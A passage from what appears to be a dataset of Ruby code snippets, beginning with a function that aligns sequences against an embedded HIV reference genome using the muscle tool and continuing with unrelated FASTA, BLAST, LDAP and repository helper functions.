CAAATTACAAAAATTCAAAATTTTCGGGTTTATTACAGGGACAGCAGAGATCCAGTTTGGAAAGGACCAGCAAAGCTCCTCTGGAAAGGTGAAGGGGCAGTAGTAATACAAGATAATAGTGACATAAAAGTAGTGCCAAGAAGAAAAGCAAAGATCATCAGGGATTATGGAAAACAGATGGCAGGTGATGATTGTGTGGCAAGTAGACAGGATGAGGATTAACACATGGAAAAGATTAGTAAAACACCATATGTATATTTCAAGGAAAGCTAAGGACTGGTTTTATAGACATCACTATGAAAGTACTAATCCAAAAATAAGTTCAGAAGTACACATCCCACTAGGGGATGCTAAATTAGTAATAACAACATATTGGGGTCTGCATACAGGAGAAAGAGACTGGCATTTGGGTCAGGGAGTCTCCATAGAATGGAGGAAAAAGAGATATAGCACACAAGTAGACCCTGACCTAGCAGACCAACTAATTCATCTGCACTATTTTGATTGTTTTTCAGAATCTGCTATAAGAAATACCATATTAGGACGTATAGTTAGTCCTAGGTGTGAATATCAAGCAGGACATAACAAGGTAGGATCTCTACAGTACTTGGCACTAGCAGCATTAATAAAACCAAAACAGATAAAGCCACCTTTGCCTAGTGTTAGGAAACTGACAGAGGACAGATGGAACAAGCCCCAGAAGACCAAGGGCCACAGAGGGAGCCATACAATGAATGGACACTAGAGCTTTTAGAGGAACTTAAGAGTGAAGCTGTTAGACATTTTCCTAGGATATGGCTCCATAACTTAGGACAACATATCTATGAAACTTACGGGGATACTTGGGCAGGAGTGGAAGCCATAATAAGAATTCTGCAACAACTGCTGTTTATCCATTTCAGAATTGGGTGTCGACATAGCAGAATAGGCGTTACTCGACAGAGGAGAGCAAGAAATGGAGCCAGTAGATCCTAGACTAGAGCCCTGGAAGCATCCAGGAAGTCAGCCTAAAACTGCTTGTACCAATTGCTATTGTAAAAAGTGTTGCTTTCATTGCCAAGTTTGTTTCATGACAAAAGCCTTAGGCATCTCCTATGGCAGGAAGAAGCGGAGACAGCGACGAAGAGCTCATCAGAACAGTCAGACTCATCAAGCTTCTCTATCAAAGCAGTAAGTAGTACATGTAATGCAACCTATAATAGTAGCAATAGTAGCATTAGTAGTAGCAATAATAATAGCAATAGTTGTGTGGTCCATAGTAATCATAGAATATAGGAAAATATTAAGACAAAGAAAAATAGACAGGTTAATTGATAGACTAATAGAAAGAGCAGAAGACAGTGGCAATGAGAGTGAAGGAGAAGTATCAGCACTTGTGGAGATGGGGGTGGAAATGGGGCACCATGCTCCTTGGGATATTGATGATCTGTAGTGCTACAGAAAAATTGTGGGTCACAGTCTATTATGGGGTACCTGTGTGGAAGGAAGCAACCACCACTCTATTTTGTGCATCAGATGCTAAAGCATATGATACAGAGGTACATAATGTTTGGGCCACACATGCCTGTGTACCCACAGACCCCAACCCACAAGAAGTAGTATTGGTAAATGTGACAGAAAATTTTAACATGTGGAAAAATGACATGGTAGAACAGATGCATGAGGATATAATCAGTTTATGGGATCAAAGCCTAAAGCCATGTGTAAAATTAACCCCACTCTGTGTTAGTTTAAAGTGCACTGATTTGAAGAATGATACTAATACCAATAGTAGTAGCGGGAGAATGATAATGGAGAAAGGAGAGATAAAAAACTGCTCTTTCAATATCAGCACAAGCATAAGAGATAAGGTGCAGAAAGAATATGCATTCTTTTATAAACTTGATATAGTACCAATAGATAATACCAGCTATAGGTTGATAAGTTGTAACACCTCAGTCATTACACAGGCCTGTCCAAAGGTATCCTTTGAGCCAATTCCCATACATTATTGTGCCCCGGCTGGTTTTGCGATTCTAAAATGTAATAATAAGACGTTCAATGGAACAGGACCATGTACAAATGTCAGCACAGTACAATGTACACATGGAATCAGGCCAGTAGTATCAACTCAACTGCTGTTAAATGGCAGTCTAGCAGAAGAAGATGTAGTAATTAGATCTGCCAATTTCACAGACAATGCTAAAACCATAATAGTACAGCTGAACACATCTGTAGAAATTAATTGTACAAGACCCAACAACAATACAAGAAAAAGTATCCGTATCCAGAGGGGACCAGGGAGAGCATTTGTTACAATAGGAAAAATAGGAAATATGAGACAAGCACATTGTAACATTAGTAGAGCAAAATGGAATGCCACTTTAAAACAGATAGCTAGCAAATTAAGAGAACAATTTGGAAATAATAAAACAATAATCTTTAAGCAATCCTCAGGAGGGGACCCAGAAATTGTAACGCACAGTTTTAATTGTGGAGGGGAATTTTTCTACTGTAATTCAACACAACTGTTTAATAGTACTTGGTTTAATAGTACTTGGAGTACTGAAGGGTCAAATAACACTGAAGGAAGTGACACAATCACACTCCCATGCAGAATAAAACAATTTATAAACATGTGGCAGGAAGTAGGAAAAGCAATGTATGCCCCTCCCATCAGTGGACAAATTAGATGTTCATCAAATATTACTGGGCTGCTATTAACAAGAGATGGTGGTAATAACAACAATGGGTCCGAGATCTTCAGACCTGGAGGAGGCGATATGAGGGACAATTGGAGAAGTGAATTATATAAATATAAAGTAGTAAAAATTGAACCATTAGGAGTAGCACCCACCAAGGCAAAGAGAAGAGTGGTGCAGAGAGAAAAAAGAGCAGTGGGAATAGGAGCTTTGTTCCTTGGGTTCTTGGGAGCAGCAGGAAGCACTATGGGCTGCACGTCAATGACGCTGACGGTACAGGCCAGACAATTATTGTCTGATATAGTGCAGCAGCAGAACAATTTGCTGAGGGCTATTGAGGCGCAACAGCATCTGTTGCAACTCACAGTCTGGGGCATCAAACAGCTCCAGGCAAGAATCCTGGCTGTGGAAAGATACCTAAAGGATCAACAGCTCCTGGGGATTTGGGGTTGCTCTGGAAAACTCATTTGCACCACTGCTGTGCCTTGGAATGCTAGTTGGAGTAATAAATCTCTGGAACAGATTTGGAATAACATGACCTGGATGGAGTGGGACAGAGAAATTAACAATTACACAAGCTTAATACACTCCTTAATTGAAGAATCGCAAAACCAGCAAGAAAAGAATGAACAAGAATTATTGGAATTAGATAAATGGGCAAGTTTGTGGAATTGGTTTAACATAACAAATTGGCTGTGGTATATAAAATTATTCATAATGATAGTAGGAGGCTTGGTAGGTTTAAGAATAGTTTTTGCTGTACTTTCTATAGTGAATAGAGTTAGGCAGGGATATTCACCATTATCGTTTCAGACCCACCTCCCAATCCCGAGGGGACCCGACAGGCCCGAAGGAATAGAAGAAGAAGGTGGAGAGAGAGACAGAGACAGATCCATTCGATTAGTGAACGGATCCTTAGCACTTATCTGGGACGATCTGCGGAGCCTGTGCCTCTTCAGCTACCACCGCTTGAGAGACTTACTCTTGATTGTAACGAGGATTGTGGAACTTCTGGGACGCAGGGGGTGGGAAGCCCTCAAATATTGGTGGAATCTCCTACAGTATTGGAGTCAGGAACTAAAGAATAGTGCTGTTAACTTGCTCAATGCCACAGCCATAGCAGTAGCTGAGGGGACAGATAGGGTTATAGAAGTATTACAAGCAGCTTATAGAGCTATTCGCCACATACCTAGAAGAATAAGACAGGGCTTGGAAAGGATTTTGCTATAAGATGGGTGGCAAGTGGTCAAAAAGTAGTGTGATTGGATGGCCTGCTGTAAGGGAAAGAATGAGACGAGCTGAGCCAGCAGCAGATGGGGTGGGAGCAGTATCTCGAGACCTAGAAAAACATGGAGCAATCACAAGTAGCAATACAGCAGCTAACAATGCTGCTTGTGCCTGGCTAGAAGCACAAGAGGAGGAAGAGGTGGGTTTTCCAGTCACACCTCAGGTACCTTTAAGACCAATGACTTACAAGGCAGCTGTAGATCTTAGCCACTTTTTAAAAGAAAAGGGGGGACTGGAAGGGCTAATTCACTCCCAAAGAAGACAAGATATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGGTCAGATATCCACTGACCTTTGGATGGTGCTACAAGCTAGTACCAGTTGAGCCAGATAAGGTAGAAGAGGCCAATAAAGGAGAGAACACCAGCTTGTTACACCCTGTGAGCCTGCATGGAATGGATGACCCTGAGAGAGAAGTGTTAGAGTGGAGGTTTGACAGCCGCCTAGCATTTCATCACGTGGCCCGAGAGCTGCATCCGGAGTACTTCAAGAACTGCTGACATCGAGCTTGCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGCGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTGCATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTTCAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCACCCAGGAGGTAGAGGTTGCAGTGAGCCAAGATCGCGCCACTGCATTCCAGCCTGGGCAAGAAAACAAGACTGTCTAAAATAATAATAATAAGTTAAGGGTATTAAATATATTTATACATGGAGGTCATAAAAATATATATATTTGGGCTGGGCGCAGTGGCTCACACCTGCGCCCGGCCCTTTGGGAGGCCGAGGCAGGTGGATCACCTGAGTTTGGGAGTTCCAGACCAGCCTGACCAACATGGAGAAACCCCTTCTCTGTGTATTTTTAGTAGATTTTATTTTATGTGTATTTTATTCACAGGTATTTCTGGAAAACTGAAACTGTTTTTCCTCTACTCTGATACCACAAGAATCATCAGCACAGAGGAAGACTTCTGTGATCAAATGTGGTGGGAGAGGGAGGTTTTCACCAGCACATGAGCAGTCAGTTCTGCCGCAGACTCGGCGGGTGTCCTTCGGTTCAGTTCCAACACCGCCTGCCTGGAGAGAGGTCAGACCACAGGGTGAGGGCTCAGTCCCCAAGACATAAACACCCAAGACATAAACACCCAACAGGTCCACCCCGCCTGCTGCCCAGGCAGAGCCGATTCACCAAGACGGGAATTAGGATAGAGAAAGAGTAAGTCACACAGAGCCGGCTGTGCGGGAGAACGGAGTTCTATTATGACTCAAATCAGTCTCCCCAAGCATTCGGGGATCAGAGTTTTTAAGGATAACTTAGTGTGTAGGGGGCCAGTGAGTTGGAGATGAAAGCGTAGGGAGTCGAAGGTGTCCTTTTGCGCCGAGTCAGTTCCTGGGTGGGGGCCACAAGATCGGATGAGCCAGTTTATCAATCCGGGGGTGCCAGCTGATCCATGGAGTGCAGGGTCTGCAAAATATCTCAAGCACTGATTGATCTTAGGTTTTACAATAGTGATGTTACCCCAGGAACAATTTGGGGAAGGTCAGAATCTTGTAGCCTGTAGCTGCATGACTCCTAAACCATAATTTCTTTTTTGTTTTTTTTTTTTTATTTTTGAGACAGGGTCTCACTCTGTCACCTAGGCTGGAGTGCAGTGGTGCAATCACAGCTCACTGCAGCCTCAACGTCGTAAGCTCAAGCGATCCTCCCACCTCAGCCTGCCTGGTAGCTGAGACTACAAGCGACGCCCCAGTTAATTTTTGTATTTTTGGTAGAGGCAGCGTTTTGCCGTGTGGCCCTGGCTGGTCTCGAACTCCTGGGCTCAAGTGATCCAGCCTCAGCCTCCCAAAGTGCTGGGACAACCGGGCCCAGTCACTGCACCTGGCCCTAAACCATAATTTCTAATCTTTTGGCTAATTTGTTAGTCCTACAAAGGCAGTCTAGTCCCCAGCAAAAAGGGGGTTTGTTTCGGGAAAGGGCTGTTACTGTCTTTGTTTCAAACTATAAACTAAGTTCCTCCTAAACTTAGTTCGGCCTACACCCAGGAATGAACAAGGAGAGCTTGGAGGTTAGAAGCACGATGGAATTGGTTAGGTCAGATCTCTTTCACTGTCTGAGTTATAATTTTGCAATGGTGGTTCAAAGACTGCCCGCTTCTGACACCAGTCGCTGCATTAATGAATCGGCCAACGCGCGGGGAGAGGCGGTTTGCGTATTGGGCGCTCTTCCGCTTCCTCGCTCACTGACTCGCTGCGCTCGGTCGTTCGGCTGCGGCGAGCGGTATCAGCTCACTCAAAGGCGGTAATACGGTTATCCACAGAATCAGGGGATAACGCAGGAAAGAACATGTGAGCAAAAGGCCAGCAAAAGGCCAGGAACCGTAAAAAGGCCGCGTTGCTGGCGTTTTTCCATAGGCTCCGCCCCCCTGACGAGCATCACAAAAATCGACGCTCAAGTCAGAGGTGGCGAAACCCGACAGGACTATAAAGATACCAGGCGTTTCCCCCTGGAAGCTCCCTCGTGCGCTCTCCTGTTCCGACCCTGCCGCTTACCGGATACCTGTCCGCCTTTCTCCCTTCGGGAAGCGTGGCGCTTTCTCATAGCTCACGCTGTAGGTATCTCAGTTCGGTGTAGGTCGTTCGCTCCAAGCTGGGCTGTGTGCACGAACCCCCCGTTCAGCCCGACCGCTGCGCCTTATCCGGTAACTATCGTCTTGAGTCCAACCCGGTAAGACACGACTTATCGCCACTGGCAGCAGCCACTGGTAACAGGATTAGCAGAGCGAGGTATGTAGGCGGTGCTACAGAGTTCTTGAAGTGGTGGCCTAACTACGGCTACACTAGAAGGACAGTATTTGGTATCTGCGCTCTGCTGAAGCCAGTTACCTTCGGAAAAAGAGTTGGTAGCTCTTGATCCGGCAAACAAACCACCGCTGGTAGCGGTGGTTTTTTTGTTTGCAAGCAGCAGATTACGCGCAGAAAAAAAGGATCTCAAGAAGATCCTTTGATCTTTTCTACGGGGTCTGACGCTCAGTGGAACGAAAACTCACGTTAAGGGATTTTGGTCATGAGATTATCAAAAAGGATCTTCACCTAGATCCTTTTAAATTAAAAATGAAGTTTTAAATCAATCTAAAGTATATATGAGTAAACTTGGTCTGACAGTTACCAATGCTTAATCAGTGAGGCACCTATCTCAGCGATCTGTCTATTTCGTTCATCCATAGTTGCCTGACTCCCCGTCGTGTAGATAACTACGATACGGGAGGGCTTACCATCTGGCCCCAGTGCTGCAATGATACCGCGAGACCCACGCTCACCGGCTCCAGATTTATCAGCAATAAACCAGCCAGCCGGAAGGGCCGAGCGCAGAAGTGGTCCTGCAACTTTATCCGCCTCCATCCAGTCTATTAATTGTTGCCGGGAAGCTAGAGTAAGTAGTTCGCCAGTTAATAGTTTGCGCAACGTTGTTGCCATTGCTACAGGCATCGTGGTGTCACGCTCGTCGTTTGGTATGGCTTCATTCAGCTCCGGTTCCCAACGATCAAGGCGAGTTACATGATCCCCCATGTTGTGCAAAAAAGCGGTTAGCTCCTTCGGTCCTCCGATCGTTGTCAGAAGTAAGTTGGCCGCAGTGTTATCACTCATGGTTATGGCAGCACTGCATAATTCTCTTACTGTCATGCCATCCGTAAGATGCTTTTCTGTGACTGGTGAGTACTCAACCAAGTCATTCTGAGAATAGTGTATGCGGCGACCGAGTTGCTCTTGCCCGGCGTCAATACGGGATAATACCGCGCCACATAGCAGAACTTTAAAAGTGCTCATCATTGGAAAACGTTCTTCGGGGCGAAAACTCTCAAGGATCTTACCGCTGTTGAGATCCAGTTCGATGTAACCCACTCGTGCACCCAACTGATCTTCAGCATCTTTTACTTTCACCAGCGTTTCTGGGTGAGCAAAAACAGGAAGGCAAAATGCCGCAAAAAAGGGAATAAGGGCGACACGGAAATGTTGAATACTCATACTCTTCCTTTTTCAATATTATTGAAGCATTTATCAGGGTTATTGTCTCATGAGCGGATACATATTTGAATGTATTTAGAAAAATAAACAAATAGGGGTTCCGCGCACATTTCCCCGAAAAGTGCCACCTGACGTCTAAGAAACCATTATTATCATGACATTAACCTATAAAAATAGGCGTATCACGAGGCCCTTTCGTCTCGCGCGTTTCGGTGATGACGGTGAAAACCTCTGACACATGCAGCTCCCGGAGACGGTCACAGCTTGTCTGTAAGCGGATGCCGGGAGCAGACAAGCCCGTCAGGGCGCGTCAGCGGGTGTTGGCGGGTGTCGGGGCTGGCTTAACTATGCGGCATCAGAGCAGATTGTACTGAGAGTGCACCATATGCGGTGTGAAATACCGCACAGATGCGTAAGGAGAAAATACCGCATCAGGCGCCATTCGCCATTCAGGCTGCGCAACTGTTGGGAAGGGCGATCGGTGCGGGCCTCTTCGCTATTACGCCAGGGGAGGCAGAGATTGCAGTAAGCTGAGATCGCAGCACTGCACTCCAGCCTGGGCGACAGAGTAAGACTCTGTCTCAAAAATAAAATAAATAAATCAATCAGATATTCCAATCTTTTCCTTTATTTATTTATTTATTTTCTATTTTGGAAACACAGTCCTTCCTTATTCCAGAATTACACATATATTCTATTTTTCTTTATATGCTCCAGTTTTTTTTAGACCTTCACCTGAAATGTGTGTATACAAAATCTAGGCCAGTCCAGCAGAGCCTAAAGGTAAAAAATAAAATAATAAAAAATAAATAAAATCTAGCTCACTCCTTCACATCAAAATGGAGATACAGCTGTTAGCATTAAATACCAAATAACCCATCTTGTCCTCAATAATTTTAAGCGCCTCTCTCCACCACATCTAACTCCTGTCAAAGGCATGTGCCCCTTCCGGGCGCTCTGCTGTGCTGCCAACCAACTGGCATGTGGACTCTGCAGGGTCCCTAACTGCCAAGCCCCACAGTGTGCCCTGAGGCTGCCCCTTCCTTCTAGCGGCTGCCCCCACTCGGCTTTGCTTTCCCTAGTTTCAGTTACTTGCGTTCAGCCAAGGTCTGAAACTAGGTGCGCACAGAGCGGTAAGACTGCGAGAGAAAGAGACCAGCTTTACAGGGGGTTTATCACAGTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACATTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACAGTGCACCCTTACAATCATTCCATTTGATTCACAATTTTTTTAGTCTCTACTGTGCCTAACTTGTAAGTTAAATTTGATCAGAGGTGTGTTCCCAGAGGGGAAAACAGTATATACAGGGTTCAGTACTATCGCATTTCAGGCCTCCACCTGGGTCTTGGAATGTGTCCCCCGAGGGGTGATGACTACCTCAGTTGGATCTCCACAGGTCACAGTGACACAAGATAACCAAGACACCTCCCAAGGCTACCACAATGGGCCGCCCTCCACGTGCACATGGCCGGAGGAACTGCCATGTCGGAGGTGCAAGCACACCTGCGCATCAGAGTCCTTGGTGTGGAGGGAGGGACCAGCGCAGCTTCCAGCCATCCACCTGATGAACAGAACCTAGGGAAAGCCCCAGTTCTACTTACACCAGGAAAGGC\"\n hxb2_l = hxb2_ref.size\n head = \"\"\n 8.times {head << (65 + rand(25)).chr}\n temp_file = temp_dir + \"/temp\"\n temp_aln = temp_dir + \"/temp_aln\"\n\n l1 = 0\n l2 = 0\n name = \">test\"\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts hxb2_ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n if ref_size > 1.3*(seq.size)\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n max_seq = aln_test2.scan(/[ACGT]+/).max_by(&:length)\n aln_test2 =~ /#{max_seq}/\n before_aln_seq = $`\n before_aln = $`.size\n post_aln_seq = $'\n post_aln = $'.size\n before_aln_seq_size = before_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b1 = (1.3 * before_aln_seq_size).to_i\n post_aln_seq_size = post_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b2 = (1.3 * post_aln_seq_size).to_i\n if (before_aln > seq.size) and (post_aln <= seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1)]\n l1 = l1 + (before_aln - b1)\n elsif (post_aln > seq.size) and (before_aln <= seq.size)\n ref = ref[before_aln..(ref_size - post_aln - 1 + b2)]\n l2 = l2 + post_aln - b2\n elsif (post_aln > seq.size) and (before_aln > seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1 + b2)]\n l1 = l1 + (before_aln - b1)\n l2 = l2 + (post_aln - b2)\n end\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n end\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n\n if g1 == g2 and (s1 + g1 + s2) == ref.size\n if s1 > s2 and g2 > 2*s2\n ref = ref[0..(-g2-1)]\n repeat = 1\n l2 = l2 + g2\n elsif s1 < s2 and g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n else\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n\n while repeat == 1\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n #refine alignment\n\n if ref =~ /^(\\-+)/\n l1 = l1 - $1.size\n elsif ref =~ /(\\-+)$/\n l2 = l2 + $1.size\n end\n l1 = 0 if l1 < 0\n if (hxb2_l - l2 - 1) >= l1\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n ref_size = ref.size\n sim_count = 0\n (0..(ref_size-1)).each do |n|\n ref_base = ref[n]\n test_base = aln_test[n]\n sim_count += 1 if ref_base == test_base\n end\n similarity = (sim_count/ref_size.to_f*100).round(1)\n print `rm -f #{temp_file}`\n print `rm -f #{temp_aln}`\n loc_p1 = l1 + 1\n loc_p2 = hxb2_l - l2\n if seq.size != (loc_p2 - loc_p1 + 1)\n indel = true\n elsif aln_test.include?(\"-\")\n indel = true\n end\n return [loc_p1,loc_p2,similarity,indel,aln_test,ref]\n else\n return [0,0,0,0,0,0,0]\n end\nrescue\n return [0,0,0,0,\"N\",\"N\"]\nend",
"def aliasFasta(fasta, ali, out, outgroup = nil)\n outFile = File.new(out, \"w\")\n aliFile = File.new(ali, \"w\") if (!ali.nil?)\n aliHash = Hash.new\n orfNum = \"SID0000001\"\n Bio::FlatFile.new(Bio::FastaFormat, File.new(fasta)).each do |seq|\n newName = orfNum\n name = seq.definition.split(\" \").first\n newName = \"SID0000000\" if (outgroup == name)\n aliFile.printf(\"%s\\t%s\\n\", newName, seq.definition) if (ali)\n aliHash[newName] = seq.definition.tr(\"(),:\",\"_\")\n seq.definition = newName\n outFile.print seq\n orfNum = orfNum.succ if (outgroup != name)\n end\n outFile.close\n aliFile.close if (ali)\n return aliHash\nend",
"def aliasFasta(fasta, ali, out, outgroup = nil)\n outFile = File.new(out, \"w\")\n aliFile = File.new(ali, \"w\") if (!ali.nil?)\n aliHash = Hash.new\n orfNum = \"SID0000001\"\n Bio::FlatFile.new(Bio::FastaFormat, File.new(fasta)).each do |seq|\n newName = orfNum\n name = seq.definition.split(\" \").first\n newName = \"SID0000000\" if (outgroup == name)\n aliFile.printf(\"%s\\t%s\\n\", newName, seq.definition) if (ali)\n aliHash[newName] = seq.definition.tr(\"(),:\",\"_\")\n seq.definition = newName\n outFile.print seq\n orfNum = orfNum.succ if (outgroup != name)\n end\n outFile.close\n aliFile.close if (ali)\n return aliHash\nend",
"def find_or_create_faid\n faid = FindingAid.find_or_create_by(file.faid_attr)\n self.finding_aid_id = faid.id\n end",
"def sequence_check_for_submission(sequence,group_hash,reversed_group_hash)\n\n result_array = Array.new\n aa_threshold = 0.9\n \n begin\n \n query = Bio::FastaFormat.new( sequence )\n query_name = query.definition\n sequence = query.to_seq\n\n existing_matched_group_exist = CustomizedProteinSequence.find_by(:chain => sequence.seq)\n if !existing_matched_group_exist.nil? # find existing sequence\n result_array << collection(query_name, \"WARN\", \"Your sequence exists in our database. Common Name: #{existing_matched_group_exist.header} \")\n return result_array\n end\n\n sequence.auto # Guess the type of sequence. Changes the class of sequence.\n query_sequence_type = sequence.seq.class == Bio::Sequence::AA ? 'protein' : 'gene'\n\n program = 'blastp'\n database = 'reductive_dehalogenase_protein'\n blast_options = get_blast_options\n\n\n blaster = Bio::Blast.local( program, \"#{Rails.root}/index/blast/#{database}\", blast_options)\n aa_report = blaster.query(sequence.seq) # sequence.seq automatically remove the \\n; possibly other wildcard\n aa_similarity = aa_report.hits().length.to_f / aa_report.db_num().to_f\n identity_with_90 = check_alignment_identity(aa_report, 90) # identity_with_90 contains all the header that share >=90% identity\n\n # group_hash => group : Array {seq_definition}\n # reversed_group_hash = seq_definition : group\n if identity_with_90.length > 0\n identified_group_at_aa_level = get_identified_group(identity_with_90,group_hash,reversed_group_hash) # identified_group_at_aa_level contains confirmed group in aa level \n else\n # if identity_with_90.length == 0; no RD with ~=90% identity => create new RD groups\n\n if aa_similarity >= aa_threshold\n last_group = CustomizedProteinSequence.group(:group).order(:group).last.group\n new_group_number = last_group + 1\n result_array << collection(query_name,\"NEW\", \"Your sequence belongs to a new RD group: #{new_group_number}\",new_group_number)\n else\n result_array << collection(query_name, \"FAILED\",\"Your sequence doesn't share 90\\% identity of any sequences in database at amino acid level.\")\n end\n\n return result_array\n end\n\n if identified_group_at_aa_level.length > 0\n result_array << collection(query_name, \"SUCCESS\",\"Your sequence belongs RD group: #{identified_group_at_aa_level.join(\",\")}\",identified_group_at_aa_level.join(\",\"))\n else\n result_array << collection(query_name, \"FAILED\",\"Your sequence doesn't share 90\\% identity with all representatives of the group at amino acid level.\")\n end\n\n return result_array\n \n rescue => exception\n # puts exception\n result_array << collection(query_name, \"ERROR\",\"Your sequence is not validated. Or send it to our lab for manual checking.\")\n end\n \n return result_array\n\n end",
"def convert_ref_tags; end",
"def affiliations\n @net_ldap_entry[:berkeleyeduaffiliations]\n end",
"def search_implementation( tags, user, page, per_page )\n if tags == 'testtag'\n items = []\n 1.upto(20) {|i| items<< ('tag_'+i.to_s)}\n return items\n elsif user == 'testuser'\n items = []\n 1.upto(20) {|i| items<< ('user_'+i.to_s)}\n return items\n elsif !user && !tags\n return nil\n else\n return []\n end\t \n end",
"def affi_object_well_formed(affi_object, name_list, parsed_complex, auth_id)\n # problem: affi_object nil\n if affi_object == nil\n puts \"\\n********************* Affiliation is nil **********************\\n\"\n print name_list\n # problem: missing country\n elsif affi_object.country == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************Missing country**********************\\n\"\n affi_object.print()\n return false\n # problem: missing name\n elsif affi_object.name == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Missing name **********************\\n\"\n affi_object.print()\n return false\n # problem: missing author or author_affiliation_id incorrect\nelsif affi_object.article_author_id == nil or \\\n affi_object.article_author_id != auth_id\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Wrong Author ID **********************\\n\"\n affi_object.print()\n return false\n else\n return true\n end\nend",
"def sufia_thumbnail_tag(document, options)\n\n # collection\n if document.collection?\n #FIXME: This can be done more efficiently...\n if document[\"thumbnail_ident_ss\"].present?\n path = sufia.download_path document[\"thumbnail_ident_ss\"], file: 'thumbnail'\n options[:alt] = \"\"\n return image_tag path, options\n elsif document[\"hasCollectionMember_ssim\"].present?\n document[\"hasCollectionMember_ssim\"].each do |member|\n visibility_check = GenericFile.find_with_conditions(\"id:#{member}\", rows: '1', fl: 'id,is_public_ssi,flagged_tesim,mime_type_tesim' ).first\n if visibility_check.present? and visibility_check['is_public_ssi'] == 'true' and visibility_check['flagged_tesim'] != ['Explicit content in thumbnail'] and visibility_check['mime_type_tesim'].present? and visibility_check['mime_type_tesim'].any? {|v| v.include?('image') || v.include?('pdf') }\n path = sufia.download_path member, file: 'thumbnail'\n options[:alt] = \"\"\n return image_tag path, options\n end\n end\n\n end\n\n #No image found\n #content_tag(:span, \"\", class: \"glyphicon glyphicon-th collection-icon-search\")\n 